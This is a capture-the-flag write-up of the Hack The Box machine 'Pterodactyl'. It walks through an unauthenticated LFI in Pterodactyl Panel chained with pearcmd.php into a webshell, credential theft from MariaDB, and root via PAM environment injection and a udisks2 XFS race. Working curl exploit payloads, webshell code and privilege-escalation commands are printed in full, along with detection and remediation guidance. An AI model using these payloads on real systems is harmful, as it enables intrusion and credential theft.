Skip to content
Back to all posts

HTB: Pterodactyl

· 20 min hard Linux Pterodactyl

A critical LFI in Pterodactyl Panel's locale endpoint chains with pearcmd.php for unauthenticated RCE, then a PAM environment injection and udisks2 XFS resize race condition deliver root on openSUSE.

Overview

Pterodactyl is a Medium-rated Linux machine running the Pterodactyl Panel v1.11.10 game server management application on openSUSE Leap 15.6. The attack surface is minimal: only SSH and nginx on ports 22 and 80. But the panel’s locale loading endpoint contains CVE-2025-49132, a local file inclusion that requires no authentication and has a CVSS score of 10.0. Chained with a pearcmd.php webshell write (enabled by register_argc_argv=On), it delivers remote code execution as the wwwrun service account.

From there, credential extraction from MariaDB and password reuse between the panel and OS accounts yield SSH access as phileasfogg3. Privilege escalation chains two more CVEs: a PAM environment variable injection (CVE-2025-6018) that fakes a local console session, and a udisks2 XFS resize race condition (CVE-2025-6019) that briefly mounts a crafted filesystem without nosuid, allowing a SUID bash binary to execute as root.

The box teaches three things. First, how LFI vulnerabilities in PHP applications become RCE when PEAR is on the include path. Second, that password reuse between application and OS accounts remains one of the most reliable lateral movement vectors. Third, that race conditions in privileged daemons can bypass filesystem security flags.

Reconnaissance

I start with a service scan to identify what is listening:

nmap -sV -sC -A -T4 10.129.14.222
PortServiceProduct / VersionNotes
22SSHOpenSSH 9.6No banner leak of distro
80HTTPnginx 1.21.5Static Minecraft landing page

Two services. Port 80 returns a static page titled “MonitorLand”. Subdomain fuzzing with ffuf against the top-5000 wordlist reveals two additional vhosts:

ffuf -u http://10.129.14.222 -H "Host: FUZZ.pterodactyl.htb" \
    -w top-5000.txt -fc 302
SubdomainApplication
pterodactyl.htbStatic landing page, PHP 8.4.8
panel.pterodactyl.htbPterodactyl Panel v1.11.10 (Laravel/React)
play.pterodactyl.htbRedirects to main site (no attack surface)

The panel subdomain serves a login page. Response headers confirm Laravel (session cookie pterodactyl_session, XSRF-TOKEN). The version string in the page footer identifies Pterodactyl Panel v1.11.10.

A phpinfo.php file at the webroot of pterodactyl.htb exposes the full PHP configuration, including two settings that are critical for the exploitation chain: register_argc_argv=On and PEAR on the include path at /usr/share/php/PEAR.

Attack Surface Analysis

The panel’s /locales/locale.json endpoint accepts locale and namespace parameters that are concatenated to construct a filesystem path for translation files. No path sanitisation is applied. Directory traversal sequences in either parameter escape the intended locale directory and read arbitrary files as the PHP-FPM worker process (wwwrun, uid 474).

The combination of this LFI with register_argc_argv=On and PEAR availability enables the pearcmd.php inclusion technique: including pearcmd.php via the LFI passes query string parameters as CLI arguments, and the config-create command writes arbitrary content to disk.

Vulnerability Analysis

CVE-2025-49132 is a textbook CWE-22 (path traversal) compounded with CWE-98 (PHP remote file inclusion). The locale endpoint builds a path like resources/lang/{locale}/{namespace}.php without sanitising either parameter. Injecting ../../../../../../var/www/pterodactyl/config as the locale and database as the namespace reads Laravel’s database configuration directly.

AttributeValue
CVECVE-2025-49132
CVSS 3.110.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
CWECWE-22 (Path Traversal), CWE-98 (Remote File Inclusion)
AffectedPterodactyl Panel < 1.11.11
PrerequisiteUnauthenticated

The privilege escalation CVEs are equally interesting. CVE-2025-6018 exploits PAM on openSUSE reading ~/.pam_environment on login. By injecting XDG_SEAT and XDG_VTNR, an SSH session appears as a local console login to loginctl and polkit, granting allow_active privileges. CVE-2025-6019 exploits a race in udisks2’s Filesystem.Resize handler: during the transient mount for the resize operation, nosuid is not applied, allowing a SUID binary on the XFS image to execute as root.

Exploitation

Step 1: LFI to read database credentials

curl -s "http://panel.pterodactyl.htb/locales/locale.json?\
locale=../../../../../../var/www/pterodactyl/config\
&namespace=database"

This returns the full config/database.php, including:

DB_USERNAME=pterodactyl
DB_PASSWORD=PteraPanel
APP_KEY=base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY=

Step 2: Webshell via pearcmd.php

curl -s "http://panel.pterodactyl.htb/locales/locale.json?\
locale=../../../../../../usr/share/php/PEAR\
&namespace=pearcmd\
&+config-create+/<?=system(\$_SERVER['HTTP_X_CMD']);?>\
+/dev/shm/cmd.php"

Only the first config-create call per destination path succeeds. Subsequent attempts are silently ignored.

Step 3: Command execution

curl -s "http://panel.pterodactyl.htb/locales/locale.json?\
locale=../../../../../../dev/shm\
&namespace=cmd" \
-H "X-CMD: id"

# uid=474(wwwrun) gid=474(wwwrun) groups=474(wwwrun)

Step 4: Credential extraction and SSH access

With RCE as wwwrun, I query the MariaDB panel database using the extracted credentials:

curl -s "http://panel.pterodactyl.htb/locales/locale.json?\
locale=../../../../../../dev/shm&namespace=cmd" \
-H "X-CMD: mariadb -h 127.0.0.1 -u pterodactyl \
-pPteraPanel -D panel -e \
'SELECT id,username,password FROM users;'"

Two users: headmonitor (admin) and phileasfogg3 (standard). The phileasfogg3 bcrypt hash cracks with john and rockyou.txt: !QAZ2wsx. The headmonitor hash did not crack against three wordlists with rule mutations.

The cracked panel password is reused for SSH:

ssh [email protected]
# Password: !QAZ2wsx
# uid=1001(phileasfogg3) gid=100(users)

User flag obtained.

Step 5: Privilege escalation

A mail from headmonitor hints at udisks2. The escalation chains two CVEs.

First, PAM environment injection to fake a local session:

cat > ~/.pam_environment << 'EOF'
XDG_SEAT=seat0
XDG_VTNR=1
EOF
# Reconnect SSH to apply

Second, create an XFS V4 image with a SUID bash binary (V4 is mandatory for kernel 6.4.0; V5 images fail with “wrong fs type”):

dd if=/dev/zero of=exploit.img bs=1M count=300
mkfs.xfs -m crc=0,finobt=0,rmapbt=0,reflink=0,\
bigtime=0,inobtcount=0 -i nrext64=0 exploit.img
sudo mount -o loop exploit.img /mnt
sudo cp /bin/bash /mnt/bash
sudo chmod 4755 /mnt/bash
sudo umount /mnt
gzip exploit.img

Upload via SFTP (direct upload fails; VPN drops after ~55MB), decompress on target, set up the loop device, start a busy-keeper script to catch the race window, and trigger the resize:

udisksctl loop-setup -f ~/exploit.img
# Start busy-keeper in background
gdbus call --system \
    --dest org.freedesktop.UDisks2 \
    --object-path /org/freedesktop/UDisks2/block_devices/loop0 \
    --method org.freedesktop.UDisks2.Filesystem.Resize 0 \
    'a{sv} {}'

The busy-keeper catches the transient mount and executes the SUID bash.

Root flag obtained.

Post-Exploitation

The system runs openSUSE Leap 15.6 with Btrfs and per-user /tmp namespacing. Key observations from enumeration:

  • /usr and /etc mounted read-only; /var, /home, /tmp read-write
  • Per-user /tmp via Btrfs subvolumes (files uploaded via webshell as wwwrun are invisible to SSH user phileasfogg3)
  • MariaDB 11.8.3 and Redis 8.2.1 running locally
  • /dev/shm files cleaned periodically by systemd-tmpfiles

Twenty-one failed approaches were documented during the engagement, including Redis exploitation (blocked by v8.x security hardening), MySQL INTO OUTFILE (no FILE privilege), XFS V5 incompatibility, and parallel chunked uploads that crashed the box.

Defensive Analysis

PhaseMITRE ATT&CKDetection
ReconnaissanceT1595.002 Vulnerability Scanningffuf subdomain enumeration and nmap service discovery
ReconnaissanceT1592.002 Software Discoveryphpinfo.php discloses PHP version, PEAR path, argc/argv
Initial AccessT1190 Exploit Public-Facing AppCVE-2025-49132 LFI via locale endpoint to pearcmd.php
Credential AccessT1552.001 Credentials in FilesMariaDB credentials from Laravel config
Credential AccessT1003 Credential DumpingMariaDB user table query for bcrypt hashes
Credential AccessT1110.002 Password Crackingjohn + rockyou.txt against phileasfogg3 bcrypt hash
Lateral MovementT1078.003 Valid Accounts: LocalPanel password reused for SSH
Privilege EscalationT1574.007 Path InterceptionCVE-2025-6018: PAM env injection fakes local session
Privilege EscalationT1548 Abuse Elevation ControlCVE-2025-6019: udisks2 XFS race mounts without nosuid

Detection opportunities centre on the LFI payload. Any request to /locales/locale.json containing ../ sequences is anomalous. A WAF rule matching directory traversal patterns in the locale or namespace parameters would block the entire attack chain at the initial access phase. Host-side, process monitoring should alert on pearcmd.php being included by the PHP-FPM worker, and on /bin/sh or bash processes spawned by wwwrun.

Remediation

PriorityActionEffortImpact
P0Upgrade Pterodactyl Panel to >= 1.11.11 (patches CVE-2025-49132)LowCritical
P0Upgrade udisks2 to patched version (fixes CVE-2025-6019 race)LowCritical
P1Remove phpinfo.php from production webrootLowHigh
P1Set register_argc_argv=Off in php.iniLowHigh
P1Enforce unique passwords across panel and OS accountsMediumHigh
P2Restrict PAM from reading ~/.pam_environment (mitigates CVE-2025-6018)LowMedium
P2Deploy WAF rules blocking path traversal in locale parametersMediumMedium
P3Audit Btrfs subvolume permissions and tmpfiles configurationLowLow

The phpinfo.php file is the intelligence asset that makes the exploitation chain practical. Without it, an attacker would need to brute-force the PEAR include path and guess the register_argc_argv setting. Removing debug/info files from production is a zero-cost action that eliminates a significant information disclosure.

Key Takeaways

  1. LFI plus PEAR equals RCE on PHP. When register_argc_argv=On and PEAR is on the include path, any LFI vulnerability becomes a file write primitive via pearcmd.php config-create. This is not a theoretical chain; it worked on a current PHP 8.4.8 installation.

  2. Race conditions in privileged daemons bypass filesystem security flags. The udisks2 Filesystem.Resize handler briefly mounts without nosuid. The window is small, but a busy-loop polling for the SUID binary catches it reliably. Privileged daemon operations that involve transient mounts must apply the same security flags as permanent mounts.

  3. PAM environment files are a privilege escalation vector on openSUSE. The ability to set XDG_SEAT and XDG_VTNR via ~/.pam_environment elevates an SSH session to a local console session from polkit’s perspective. This is a design issue in how PAM and polkit interact on systems that trust environment variables for session classification.